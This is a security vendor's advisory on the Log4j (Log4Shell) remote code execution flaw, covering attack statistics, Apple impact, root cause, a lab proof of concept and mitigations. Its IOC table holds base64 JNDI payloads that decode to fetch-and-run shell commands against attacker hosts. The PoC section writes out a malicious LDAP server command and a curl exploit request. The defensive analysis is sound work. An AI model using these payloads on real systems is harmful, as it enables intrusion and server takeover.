Log4j RCE 0-day Vulnerability in Java Actively Exploited

December 13, 2021

Update – Dec 15th

Cyble Research Labs has been actively monitoring the attack surface via our sensors since the day the Log4Shell vulnerability was first reported. So far, we’ve seen a significant increase on a daily basis, with Threat Actors targeting servers that use the vulnerable Log4J library.

These attackers are using the Log4Shell vulnerability to download and execute the stager using Linux utilities such as wget and curl from the TA’s infrastructure, as shown below. These payloads are encoded in base64.

As per the payload format ${jndi:ldap://AttackerURL/Payload.class} and the commands found from the logs, Cyble Research Labs has created below statistics of Threat Actor’s IPs and Infrastructure.

These IPs are divided into three categories: source (origin) IPs, LDAP (Lightweight Directory Access Protocol) IPs, and IPs included in the payload that operate as a stager.

These statistics are based on the logs from December 15, 2021.

The figure below depicts the location from which Log4Shell attacks originate. The United States is leading the way, followed by India and Germany.

The below figure shows the location on which the LDAP is hosted: Netherland, UK, Germany, and Russia.

Figure 4 shows the locations where the stagers are being hosted, namely the US, followed by Germany, India, Russia.

Figure 4 – Location where stagers are hosted

The attacks originating from the below Hosting Service Providers:

Source Origin IP

Linode, LLC

Hetzner Online GmbH

OOO Network of data-centers Selectel

DIGITALOCEAN-ASN

WEBLINE19

The Communication Authoity of Thailand, CAT

CT-HangZhou-IDC

PJSC MegaFon

LDAP

OOO Network of data-centers Selectel

Hetzner Online GmbH

PE Skurykhin Mukola Volodumurovuch

DIGITALOCEAN-ASN

Linode, LLC

Stager

OOO Network of data-centers Selectel

Linode, LLC

GOOGLE

Update – Dec 14th

Cyble’s Sensor has identified multiple attackers scanning Apache Log4j vulnerability (CVE-2021-44228) with various security evasion techniques such as string encoding or obfuscated patterns in URI and User Agent (UA).

We observed the following patterns:

A string encoded LDAP commands and URIs.
Base64 encoded LDAP commands and URIs.
Employed upper and lower toggling cases in LDAP command.

We have noticed malware, and ransomware families utilize the Log4j exploit to spread their campaign. Some of the identified malware families are listed below:

Kinsing.
Mirai.
CoinMiner.
Muhstik.
Tsunami.

IOC (Indicator of Compromise):

Live IOCs captured by Cyble Research Labs Sensors – https://pastebin.com/QAb1NmCg

Indicator	Attacker Region
195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNTkuNjUuMTkzLjkxOjgwfHx3Z2V0IC1xIC1PLSAxOTUuNTQuMTYwLjE0OTo1ODc0LzE1OS42NS4xOTMuOTE6ODApfGJhc2g=	Russia
45.83.64.1/securityscan-http80%7D	Netherlands
45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTkuNjUuMTkzLjkxOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE1OS42NS4xOTMuOTE6ODApfGJhc2g=	Germany
159.65.193.91-A-9200.774dda06.dataastatistics.com/help	United States
45.83.64.1/securityscan-http80%7D	Germany
45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS43OS40Ni4yMjI6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvNDUuNzkuNDYuMjIyOjgwKXxiYXNo	Germany
f0d609e4.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://f0d609e4.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://f0d609e4.probe001.log4j.leakix.net:9200/b	Netherlands
51afd2f8.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://51afd2f8.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://51afd2f8.probe001.log4j.leakix.net:9200/b	Netherlands
172.104.153.206-A-9200.774dda06.dataastatistics.com/help	Germany
998bb3b3.probe001.log4j.leakix.net:443/b%7D?${jndi:ldaps://998bb3b3.probe001.log4j.leakix.net:443/b}=${jndi:ldaps://998bb3b3.probe001.log4j.leakix.net:443/b	Netherlands
152.89.239.12:1389/bt2f6m	Russia
139.162.37.91-A-9200.774dda06.dataastatistics.com/help	United States
194.195.113.8-A-9200.774dda06.dataastatistics.com/help	United States
69.164.215.204-A-9200.774dda06.dataastatistics.com/help	United States
192.155.87.243-A-9200.774dda06.dataastatistics.com/help	United States
195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xODUuNTYuODguODY6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTg1LjU2Ljg4Ljg2OjgwKXxiYXNo	Russia
45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xODUuNTYuODguODY6ODB8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMTg1LjU2Ljg4Ljg2OjgwKXxiYXNo	United Arab Emirates
185.56.88.86-A-9200.774dda06.dataastatistics.com/help	United Arab Emirates

Impact of Log4J Vulnerability on Apple Devices

Log4Shell vulnerability affects many products, including the Minecraft servers. A Researcher has provided detail of this vulnerability and has shown how simple it is to exploit the Minecraft servers having a vulnerable Log4J library.

The sophistication of the Log4Shell vulnerability lies in the fact that the vulnerable parameters of any affected product is unknown. The vulnerability can be triggered from any parameter that utilizes the Log4J library for logging.

This leads many researchers to test this vulnerability across various products from different vendors. A researcher named Cas Van Cooten initially tested this vulnerability on December 10, 2021. The researcher had injected the payload in the “Name” field of the Apple iPhone Device. When he entered the payload, he received a DNS request on dnslog.cn from IPs 17.123.16.14 and 17.140.110.15. As per our investigation, both IPs belong to Apple. The request was executed from the Apple backend server, not the Apple iPhone Device.

Figure 1 – Log4Shell Vulnerability demonstration on Apple Device.

At the time of publishing these findings, Log4Shell does not work on the same parameters – Apple seemed to have patched this vulnerability.

An incident was covered by Electic Light Company, where a researcher had demonstrated the Log4shell vulnerability on iCloud on 9^th and 10^th December. Later, this vulnerability appeared to have been fixed on 11^th December. This indicates that Apple actively monitors components using the vulnerable Log4Shell and continuously fixes the issues.

A list of impacted Apple products was found on a Github repository. Cyble Research Labs investigated all the IPs listed in the repository and determined that all the IPs belong to Apple. This indicates that the injection parameters were available from the end-user products such as Music player. However, the payload execution occurs at Apple’s backend.

Figure 2 – All Reported IPs belong to Apple.

While the vulnerability pertains to the Log4J library, Apple uses Unified Logging to log its components and Log4Shell does not affect Unified Log.

As per our analysis, no Apple products appear to be affected by this vulnerability – unless they run on a server which uses a vulnerable Log4J library. Additionally, the Apple Team is continuously working to rapidly fix the issues related to Apple Services, as observed by our research team.

Conclusion

Based on the Cyble Research Labs’ analysis, we can safely assume that presently only a few services, such as iCloud, are affected by the Log4Shell vulnerability. There is no report of Apple products/devices being impacted by this vulnerability. Thus, it’s safe to say that the end users’ devices are not impacted at this moment.

Introduction

A “critical” severity rated vulnerability (CVSS score 10/10) that affects Java-based applications running the Log4j reporting framework has been recently reported. Also named as Log4Shell or Log Jam, this vulnerability allows an attacker to write one specific string to the log and gain full access to the exploited server via remote code execution.

Log4j, an open-source logging API for java is a fast, reliable, and flexible logging framework that will execute a Java Naming and Directory Interface (JNDI) search() (or indirectly as parameters for formatted messages), while expanding placeholders in logging messages.

The Apache Log4j vulnerability (CVE-2021-44228) is a basic JNDI Injection bug that affects Java libraries. The flaw was first uncovered by Chen Zhaojun of Alibaba Cloud Security Team.

In every java application, Log4j is one of the most used libraries. It’s almost as well-known in Java as OpenSSL is in the rest of the world. Remote Method Invocation (RMI) and Lightweight Directory Access Protocol (LDAP) are two “interesting” protocols that JNDI supports in a basic installation. A lookup() call is intended to return a Java object in each of these circumstances. This normally refers to serialized Java objects, but there is also a JNDI Reference mechanism that allows indirect factory building. A remote URL codebase may theoretically load this object and factory bytecode (reads a webserver with .class files).

JNDI features are used in the configuration, log messages, and parameters. Apache Log4j2<=2.14.1 does not protect against attacker-controlled LDAP and other JNDI-related endpoints. When message lookup substitution is allowed, an attacker with access to log messages or log message parameters can run arbitrary code imported from LDAP servers. This behavior has been removed by default from Log4j 2.15.0.

Cause of Vulnerability

A JNDI reference is written to a log, which retrieves the variables’ criteria. It also downloads and runs any remote classes that are necessary to finish the process. Any attacker-controlled input field and this input transmitted to the log are the primary conditions for the vulnerability. This would be true for both client-side and server-side applications.

Some of our other inferences upon analyzing CVE-2021-44228 are:

Vulnerable default installs of commonly used corporate applications.
The vulnerability may be reliably exploited without requiring authentication.
Multiple versions of Log4j 2 are affected by the flaw.
The vulnerability permits remote code execution as the user executing the library-using application.

Proof of Concept (PoC) Validation

Cyble Research Labs downloaded the vulnerable application from the GitHub repository to run and exploit for testing purposes as shown in the figure below. This vulnerable application was seen using Log4j 2.14.1.

The below figure demonstrates the creation of a malicious LDAP server using JNDIExploit using the command java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.148.143 -p 8888.

The below figure demonstrates the command to trigger the exploit. We used the command: curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://192.168.148.143:1389/Basic/Command/Base64/d2hvYW1pO2lk}’

Figure 3 – Triggering Exploit

After triggering the exploit, we observed that the code was executed successfully as shown in the below figure.

Who is impacted?

Java-based software’s that are using Log4j versions from 2.0 to 2.14.1 are vulnerable to this CVE:

Software’s such as Apache Struts, Apache Solr, Apache Druid, Apache Flink, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, and Spring-Boot-starter-Log4j2, etc.
Cloud services and applications such as Steam, Apple iCloud, Twitter, Tesla, Redis, ElasticSearch, and Minecraft, etc.
JVM version other than Java 6 – 6u212, Java 7 – 7u202, Java 8 – 8u192, and Java 11 – 11.0.2

Mitigation Techniques

The mitigation techniques suggested by Apache that can be used to avoid Log4j vulnerability exploitation are listed below:

Upgrade Log4j versions immediately to 2.15.0.
Apps that use JAVA libraries, will have to go through a deep scanning.
Grype and any dependent vulnerability scanner could be used for scanning JAR files.
In versions >=2.10, this behaviour can be prevented by setting the environment variable LOG4J FORMAT MSG NO LOOKUPS to true or the system property Log4j2.formatMsgNoLookups to true. The mitigation is to remove the JndiLookup class from the classpath for versions 2.0-beta9 to 2.10.0: zip -q -d Log4j-core-*.jar org/apache/logging/Log4j/core/lookup/JndiLookup.class

Note of Caution

Log4j is difficult to locate because of the way Java packaging works. It’s likely that Log4j is hidden somewhere in the programs and developers could be completely unaware of its presence or usage.

Dependencies are distributed in the Java ecosystem as Java archive (JAR) files. Commonly used tools, such as Maven and Gradle, may add JAR files to your Java program as you create it. A JAR can also contain another JAR to satisfy a dependency, allowing the Log4j vulnerability to be concealed several layers below in the program. In certain cases, one dependence might attract hundreds of others, making it much more difficult to locate.

It is advisable to apply temporary countermeasures such as applying blocking rules on the Web Application Firewall to prevent the vulnerability from being exploited, till all the vulnerable instances are identified and remediated.

About Us

Cyble is a global threat intelligence SaaS provider that helps enterprises protect themselves from cybercrimes and exposure in the Darkweb. Its prime focus is to provide organizations with real-time visibility to their digital risk footprint. Backed by Y Combinator as part of the 2021 winter cohort, Cyble has also been recognized by Forbes as one of the top 20 Best Cybersecurity Start-ups to Watch In 2020. Headquartered in Alpharetta, Georgia, and with offices in Australia, Singapore, and India, Cyble has a global presence. To learn more about Cyble, visit https://cyble.com.